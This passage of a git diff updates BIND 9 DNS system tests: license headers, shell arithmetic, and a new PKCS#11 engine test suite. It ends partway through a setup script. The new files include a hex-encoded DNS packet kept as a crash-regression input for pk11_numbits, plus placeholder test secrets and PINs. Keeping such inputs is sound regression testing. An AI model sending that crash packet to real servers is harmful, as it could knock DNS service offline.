 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/ednscompliance/ns1/named.conf.in b/bin/tests/system/ednscompliance/ns1/named.conf.in
index 6a8604fd16..1334c85cf2 100644
--- a/bin/tests/system/ednscompliance/ns1/named.conf.in
+++ b/bin/tests/system/ednscompliance/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,6 +20,7 @@ options {
 	listen-on { 10.53.0.1; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 zone "." {
diff --git a/bin/tests/system/ednscompliance/ns1/root.db b/bin/tests/system/ednscompliance/ns1/root.db
index 93306dbf67..f9bfbe9e20 100644
--- a/bin/tests/system/ednscompliance/ns1/root.db
+++ b/bin/tests/system/ednscompliance/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/ednscompliance/setup.sh b/bin/tests/system/ednscompliance/setup.sh
index 110e0e3446..82240a7c1b 100644
--- a/bin/tests/system/ednscompliance/setup.sh
+++ b/bin/tests/system/ednscompliance/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/ednscompliance/tests.sh b/bin/tests/system/ednscompliance/tests.sh
index e85a7b7764..0c630f4102 100644
--- a/bin/tests/system/ednscompliance/tests.sh
+++ b/bin/tests/system/ednscompliance/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="+norec -p ${PORT}"
@@ -17,94 +21,94 @@ status=0
 n=0
 zone=.
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check +edns=100 sets version 100 ($n)"
 ret=0 reason=
-$DIG $DIGOPTS  @10.53.0.1 +qr +edns=100 soa $zone > dig.out$n
+$DIG $DIGOPTS  @10.53.0.1 +qr +edns=100 soa $zone > dig.out$n || ret=1
 grep "EDNS: version: 100," dig.out$n > /dev/null || { ret=1; reason="version"; }
 if [ $ret != 0 ]; then echo_i "failed $reason"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 ret=0 reason=
 echo_i "check +ednsopt=100 adds option 100 ($n)"
-$DIG $DIGOPTS  @10.53.0.1 +qr +ednsopt=100 soa $zone > dig.out$n
+$DIG $DIGOPTS  @10.53.0.1 +qr +ednsopt=100 soa $zone > dig.out$n || ret=1
 grep "; OPT=100" dig.out$n > /dev/null || { ret=1; reason="option"; }
 if [ $ret != 0 ]; then echo_i "failed $reason"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check +ednsflags=0x80 sets flags to 0x0080 ($n)"
 ret=0 reason=
-$DIG $DIGOPTS  @10.53.0.1 +qr +ednsflags=0x80 soa $zone > dig.out$n
+$DIG $DIGOPTS  @10.53.0.1 +qr +ednsflags=0x80 soa $zone > dig.out$n || ret=1
 grep "MBZ: 0x0080," dig.out$n > /dev/null || { ret=1; reason="flags"; }
 if [ $ret != 0 ]; then echo_i "failed $reason"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "Unknown EDNS version ($n)"
 ret=0 reason=
-$DIG $DIGOPTS  @10.53.0.1 +edns=100 +noednsnegotiation soa $zone > dig.out$n
+$DIG $DIGOPTS  @10.53.0.1 +edns=100 +noednsnegotiation soa $zone > dig.out$n || ret=1
 grep "status: BADVERS," dig.out$n > /dev/null || { ret=1; reason="status"; }
 grep "EDNS: version: 0," dig.out$n > /dev/null || { ret=1; reason="version"; }
-grep "IN.SOA." dig.out$n > /dev/null && { ret=1; reasons="soa"; }
+grep "IN.SOA." dig.out$n > /dev/null && { ret=1; reason="soa"; }
 if [ $ret != 0 ]; then echo_i "failed $reason"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "Unknown EDNS option ($n)"
 ret=0 reason=
-$DIG $DIGOPTS  @10.53.0.1 +ednsopt=100 soa $zone > dig.out$n
+$DIG $DIGOPTS  @10.53.0.1 +ednsopt=100 soa $zone > dig.out$n || ret=1
 grep "status: NOERROR," dig.out$n > /dev/null || { ret=1; reason="status"; }
 grep "EDNS: version: 0," dig.out$n > /dev/null || { ret=1; reason="version"; }
 grep "; OPT=100" dig.out$n > /dev/null && { ret=1; reason="option"; }
 grep "IN.SOA." dig.out$n > /dev/null || { ret=1; reason="nosoa"; }
 if [ $ret != 0 ]; then echo_i "failed $reason"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "Unknown EDNS version + option ($n)"
 ret=0 reason=
-$DIG $DIGOPTS  @10.53.0.1 +edns=100 +noednsneg +ednsopt=100 soa $zone > dig.out$n
+$DIG $DIGOPTS  @10.53.0.1 +edns=100 +noednsneg +ednsopt=100 soa $zone > dig.out$n || ret=1
 grep "status: BADVERS," dig.out$n > /dev/null || { ret=1; reason="status"; }
 grep "EDNS: version: 0," dig.out$n > /dev/null || { ret=1; reason="version"; }
 grep "; OPT=100" dig.out$n > /dev/null && { ret=1; reason="option"; }
 grep "IN.SOA." dig.out$n > /dev/null &&  { ret=1; reason="soa"; }
 if [ $ret != 0 ]; then echo_i "failed: $reason"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 echo_i "Unknown EDNS flag ($n)"
 ret=0 reason=
-$DIG $DIGOPTS  @10.53.0.1 +ednsflags=0x80 soa $zone > dig.out$n
+$DIG $DIGOPTS  @10.53.0.1 +ednsflags=0x80 soa $zone > dig.out$n || ret=1
 grep "status: NOERROR," dig.out$n > /dev/null || { ret=1; reason="status"; }
 grep "EDNS: version: 0," dig.out$n > /dev/null || { ret=1; reason="version"; }
 grep "EDNS:.*MBZ" dig.out$n > /dev/null > /dev/null && { ret=1; reason="mbz"; }
 grep ".IN.SOA." dig.out$n > /dev/null || { ret=1; reason="nosoa"; }
 if [ $ret != 0 ]; then echo_i "failed $reason"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "Unknown EDNS version + flag ($n)"
 ret=0 reason=
-$DIG $DIGOPTS  @10.53.0.1 +edns=100 +noednsneg +ednsflags=0x80 soa $zone > dig.out$n
+$DIG $DIGOPTS  @10.53.0.1 +edns=100 +noednsneg +ednsflags=0x80 soa $zone > dig.out$n || ret=1
 grep "status: BADVERS," dig.out$n > /dev/null || { ret=1; reason="status"; }
 grep "EDNS: version: 0," dig.out$n > /dev/null || { ret=1; reason="version"; }
 grep "EDNS:.*MBZ" dig.out$n > /dev/null > /dev/null && { ret=1; reason="mbz"; }
 grep "IN.SOA." dig.out$n > /dev/null && { ret=1; reason="soa"; }
 if [ $ret != 0 ]; then echo_i "failed $reason"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 echo_i "DiG's EDNS negotiation ($n)"
 ret=0 reason=
-$DIG $DIGOPTS  @10.53.0.1 +edns=100 soa $zone > dig.out$n
+$DIG $DIGOPTS  @10.53.0.1 +edns=100 soa $zone > dig.out$n || ret=1
 grep "status: NOERROR," dig.out$n > /dev/null || { ret=1; reason="status"; }
 grep "EDNS: version: 0," dig.out$n > /dev/null || { ret=1; reason="version"; }
 grep "IN.SOA." dig.out$n > /dev/null || { ret=1; reason="soa"; }
 if [ $ret != 0 ]; then echo_i "failed $reason"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/ednscompliance/tests_sh_ednscompliance.py b/bin/tests/system/ednscompliance/tests_sh_ednscompliance.py
new file mode 100644
index 0000000000..8eea611c18
--- /dev/null
+++ b/bin/tests/system/ednscompliance/tests_sh_ednscompliance.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_ednscompliance(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/emptyzones/clean.sh b/bin/tests/system/emptyzones/clean.sh
index d2985e7211..c7ff161ac2 100644
--- a/bin/tests/system/emptyzones/clean.sh
+++ b/bin/tests/system/emptyzones/clean.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/emptyzones/ns1/empty.db b/bin/tests/system/emptyzones/ns1/empty.db
index fdd5ef9143..70dbcafc53 100644
--- a/bin/tests/system/emptyzones/ns1/empty.db
+++ b/bin/tests/system/emptyzones/ns1/empty.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/emptyzones/ns1/named1.conf.in b/bin/tests/system/emptyzones/ns1/named1.conf.in
index fc09cefac4..4aad843482 100644
--- a/bin/tests/system/emptyzones/ns1/named1.conf.in
+++ b/bin/tests/system/emptyzones/ns1/named1.conf.in
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 key rndc_key {
-	algorithm       hmac-sha256;
+	algorithm       @DEFAULT_HMAC@;
 	secret          "1234abcd8765";
 };
 
@@ -19,14 +21,15 @@ controls {
 };
 
 options {
-	query-source address 10.53.0.1 dscp 1;
-	notify-source 10.53.0.1 dscp 2;
-	transfer-source 10.53.0.1 dscp 3;
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
 	port @PORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.1; };
 	listen-on-v6 { none; };
 	recursion yes;
+	dnssec-validation no;
 	deny-answer-addresses { 192.0.2.0/24; 2001:db8:beef::/48; }
 		 except-from { "example.org"; };
 	deny-answer-aliases { "example.org"; }
diff --git a/bin/tests/system/emptyzones/ns1/named2.conf.in b/bin/tests/system/emptyzones/ns1/named2.conf.in
index 01f8708c2e..89fe2b475c 100644
--- a/bin/tests/system/emptyzones/ns1/named2.conf.in
+++ b/bin/tests/system/emptyzones/ns1/named2.conf.in
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 key rndc_key {
-	algorithm       hmac-sha256;
+	algorithm       @DEFAULT_HMAC@;
 	secret          "1234abcd8765";
 };
 
@@ -19,14 +21,15 @@ controls {
 };
 
 options {
-	query-source address 10.53.0.1 dscp 1;
-	notify-source 10.53.0.1 dscp 2;
-	transfer-source 10.53.0.1 dscp 3;
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
 	port @PORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.1; };
 	listen-on-v6 { none; };
 	recursion yes;
+	dnssec-validation no;
 	deny-answer-addresses { 192.0.2.0/24; 2001:db8:beef::/48; }
 		 except-from { "example.org"; };
 	deny-answer-aliases { "example.org"; }
diff --git a/bin/tests/system/emptyzones/ns1/rfc1918.zones b/bin/tests/system/emptyzones/ns1/rfc1918.zones
index d15513bb84..07858f99cc 100644
--- a/bin/tests/system/emptyzones/ns1/rfc1918.zones
+++ b/bin/tests/system/emptyzones/ns1/rfc1918.zones
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/emptyzones/ns1/root.hint b/bin/tests/system/emptyzones/ns1/root.hint
index 64769b9fe6..993227deb6 100644
--- a/bin/tests/system/emptyzones/ns1/root.hint
+++ b/bin/tests/system/emptyzones/ns1/root.hint
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/emptyzones/setup.sh b/bin/tests/system/emptyzones/setup.sh
index 20f9346e03..935067fb45 100644
--- a/bin/tests/system/emptyzones/setup.sh
+++ b/bin/tests/system/emptyzones/setup.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/emptyzones/tests.sh b/bin/tests/system/emptyzones/tests.sh
index 6b0981a4f5..c968d515c1 100644
--- a/bin/tests/system/emptyzones/tests.sh
+++ b/bin/tests/system/emptyzones/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="-p ${PORT}"
@@ -17,7 +21,7 @@ RNDCCMD="$RNDC -c ../common/rndc.conf -p ${CONTROLPORT} -s"
 status=0
 n=0
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that switching to automatic empty zones works ($n)"
 ret=0
 rndc_reload ns1 10.53.0.1
@@ -28,15 +32,15 @@ sleep 5
 
 $DIG $DIGOPTS +vc version.bind txt ch @10.53.0.1 > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check that allow-transfer { none; } works ($n)"
 ret=0
 $DIG $DIGOPTS axfr 10.in-addr.arpa @10.53.0.1 +all > dig.out.test$n || ret=1
 grep "status: REFUSED" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/emptyzones/tests_sh_emptyzones.py b/bin/tests/system/emptyzones/tests_sh_emptyzones.py
new file mode 100644
index 0000000000..66dc9dc75d
--- /dev/null
+++ b/bin/tests/system/emptyzones/tests_sh_emptyzones.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_emptyzones(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/enginepkcs11/2037-pk11_numbits-crash-test.pkt b/bin/tests/system/enginepkcs11/2037-pk11_numbits-crash-test.pkt
new file mode 100644
index 0000000000..b9c5a32ade
--- /dev/null
+++ b/bin/tests/system/enginepkcs11/2037-pk11_numbits-crash-test.pkt
@@ -0,0 +1,30 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+edda 2800 0001 0000 0001 0000 0972 7361
+7368 6132 3536 0765 7861 6d70 6c65 0000
+0600 01c0 0c00 3000 0100 0001 2c01 0801
+0003 0803 0100 0100 0000 0000 0000 0000
+0000 0000 0000 0000 0000 0000 0000 0000
+0000 0000 0000 0000 0000 0000 0000 0000
+0000 0000 0000 0000 0000 0000 0000 0000
+0000 0000 0000 0000 0000 0000 0000 0000
+0000 0000 0000 0000 0000 0000 0000 0000
+0000 0000 0000 0000 0000 0000 0000 0000
+0000 0000 0000 0000 0000 0000 0000 0000
+0000 0000 0000 0000 0000 0000 0000 0000
+0000 0000 0000 0000 0000 0000 0000 0000
+0000 0000 0000 0000 0000 0000 0000 0000
+0000 0000 0000 0000 0000 0000 0000 0000
+0000 0000 0000 0000 0000 0000 0000 0000
+0000 0000 0000 0000 0000 0000 0000 0000
+0000 0000 0000 0000 0000 0000 0000 0000
+0000 0000 0000 0000 0000 0000 0000 0000
+0000 0000 0000 00
diff --git a/bin/tests/system/enginepkcs11/clean.sh b/bin/tests/system/enginepkcs11/clean.sh
new file mode 100644
index 0000000000..087b434792
--- /dev/null
+++ b/bin/tests/system/enginepkcs11/clean.sh
@@ -0,0 +1,35 @@
+#!/bin/sh
+#
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# shellcheck source=conf.sh
+. ../conf.sh
+
+set -e
+
+rm -f dig.out.*
+rm -f dsset-*
+rm -f pin
+rm -f keyfromlabel.err.* keyfromlabel.out.*
+rm -f pkcs11-tool.err.* pkcs11-tool.out.*
+rm -f signer.out.*
+rm -f ns1/*.example.db ns1/*.example.db.signed
+rm -f ns1/*.kskid1 ns1/*.kskid2 ns1/*.zskid1 ns1/*.zskid2
+rm -f ns1/dig.out.*
+rm -f ns1/K*
+rm -f ns1/named.conf ns1/named.args ns1/named.run ns1/named.memstats
+rm -f ns1/update.cmd.*
+rm -f ns1/update.log.*
+rm -f ns1/verify.out.*
+rm -f ns1/zone.*.signed.jnl ns1/zone.*.signed.jbk
+
+OPENSSL_CONF= softhsm2-util --delete-token --token "softhsm2-enginepkcs11" >/dev/null 2>&1 || echo_i "softhsm2-enginepkcs11 token not found for cleaning"
diff --git a/bin/tests/system/enginepkcs11/ns1/named.args.in b/bin/tests/system/enginepkcs11/ns1/named.args.in
new file mode 100644
index 0000000000..e4dd595315
--- /dev/null
+++ b/bin/tests/system/enginepkcs11/ns1/named.args.in
@@ -0,0 +1 @@
+@ENGINE_ARGS@ -D enginepkcs11-ns1 -X named.lock -m record -c named.conf -d 99 -U 4 -T maxcachesize=2097152
diff --git a/bin/tests/system/enginepkcs11/ns1/named.conf.in b/bin/tests/system/enginepkcs11/ns1/named.conf.in
new file mode 100644
index 0000000000..985974db81
--- /dev/null
+++ b/bin/tests/system/enginepkcs11/ns1/named.conf.in
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+controls { /* empty */ };
+
+options {
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.1; };
+	listen-on-v6 { none; };
+	recursion no;
+	dnssec-validation no;
+	notify no;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
diff --git a/bin/tests/system/enginepkcs11/ns1/template.db.in b/bin/tests/system/enginepkcs11/ns1/template.db.in
new file mode 100644
index 0000000000..7941903808
--- /dev/null
+++ b/bin/tests/system/enginepkcs11/ns1/template.db.in
@@ -0,0 +1,24 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0. If a copy of the MPL was not distributed with this
+; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	ns root (
+				2000082401 ; serial
+				1800       ; refresh (30 minutes)
+				1800       ; retry (30 minutes)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	ns
+ns			A	10.53.0.1
+
+txt			TXT	"test"
+
diff --git a/bin/tests/system/enginepkcs11/prereq.sh b/bin/tests/system/enginepkcs11/prereq.sh
new file mode 100644
index 0000000000..847cecb611
--- /dev/null
+++ b/bin/tests/system/enginepkcs11/prereq.sh
@@ -0,0 +1,32 @@
+#!/bin/sh -e
+#
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+. ../conf.sh
+
+[ -n "${SOFTHSM2_CONF}" ] || {
+    echo_i "skip: softhsm2 configuration not available"
+    exit 255
+}
+
+parse_openssl_config
+[ -f "$SOFTHSM2_MODULE" ] || {
+    echo_i "skip: softhsm2 module not available"
+    exit 1
+}
+
+for _bin in softhsm2-util pkcs11-tool; do
+    command -v "$_bin" >/dev/null || {
+        echo_i "skip: $_bin not available"
+        exit 1
+    }
+done
diff --git a/bin/tests/system/enginepkcs11/setup.sh b/bin/tests/system/enginepkcs11/setup.sh
new file mode 100644
index 0000000000..8672363755
--- /dev/null
+++ b/bin/tests/system/enginepkcs11/setup.sh
@@ -0,0 +1,127 @@
+#!/bin/sh
+#
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# shellcheck source=conf.sh
+. ../conf.sh
+
+set -e
+
+OPENSSL_CONF= softhsm2-util --init-token --free --pin 1234 --so-pin 1234 --label "softhsm2-enginepkcs11" | awk '/^The token has been initialized and is reassigned to slot/ { print $NF }'
+
+printf '%s' "${HSMPIN:-1234}" > pin
+parse_openssl_config
+PWD=$(pwd)
+
+copy_setports ns1/named.conf.in ns1/named.conf
+sed -e "s/@ENGINE_ARGS@/${ENGINE_ARG}/g" < ns1/named.args.in > ns1/named.args
+
+keygen() {
+	type="$1"
+	bits="$2"
+	zone="$3"
+	id="$4"
+
+	label="${id}-${zone}"
+	p11id=$(echo "${label}" | openssl sha1 -r | awk '{print $1}')
+	OPENSSL_CONF= pkcs11-tool --module $SOFTHSM2_MODULE --token-label "softhsm2-enginepkcs11" -l -k --key-type $type:$bits --label "${label}" --id "${p11id}" --pin $(cat $PWD/pin) > pkcs11-tool.out.$zone.$id 2> pkcs11-tool.err.$zone.$id || return 1
+}
+
+keyfromlabel() {
+        alg="$1"
+        zone="$2"
+        id="$3"
+	dir="$4"
+        shift 4
+
+	$KEYFRLAB $ENGINE_ARG -K $dir -a $alg -l "pkcs11:token=softhsm2-enginepkcs11;object=${id}-${zone};pin-source=$PWD/pin" "$@" $zone >> keyfromlabel.out.$zone.$id 2> keyfromlabel.err.$zone.$id || return 1
+	cat keyfromlabel.out.$zone.$id
+}
+
+
+# Setup ns1.
+dir="ns1"
+infile="${dir}/template.db.in"
+for algtypebits in rsasha256:rsa:2048 rsasha512:rsa:2048 \
+		   ecdsap256sha256:EC:prime256v1 ecdsap384sha384:EC:prime384v1
+		   # Edwards curves are not yet supported by OpenSC
+		   # ed25519:EC:edwards25519 ed448:EC:edwards448
+do
+	alg=$(echo "$algtypebits" | cut -f 1 -d :)
+	type=$(echo "$algtypebits" | cut -f 2 -d :)
+	bits=$(echo "$algtypebits" | cut -f 3 -d :)
+
+	if $SHELL ../testcrypto.sh $alg; then
+		zone="$alg.example"
+		zonefile="zone.$alg.example.db"
+		ret=0
+
+		echo_i "Generate keys $alg $type:$bits for zone $zone"
+		keygen $type $bits $zone enginepkcs11-zsk || ret=1
+		keygen $type $bits $zone enginepkcs11-ksk || ret=1
+		test "$ret" -eq 0 || exit 1
+
+		echo_i "Get ZSK $alg $zone $type:$bits"
+		zsk1=$(keyfromlabel $alg $zone enginepkcs11-zsk $dir)
+		test -z "$zsk1" && exit 1
+
+		echo_i "Get KSK $alg $zone $type:$bits"
+		ksk1=$(keyfromlabel $alg $zone enginepkcs11-ksk $dir -f KSK)
+		test -z "$ksk1" && exit 1
+
+		(
+			cd $dir
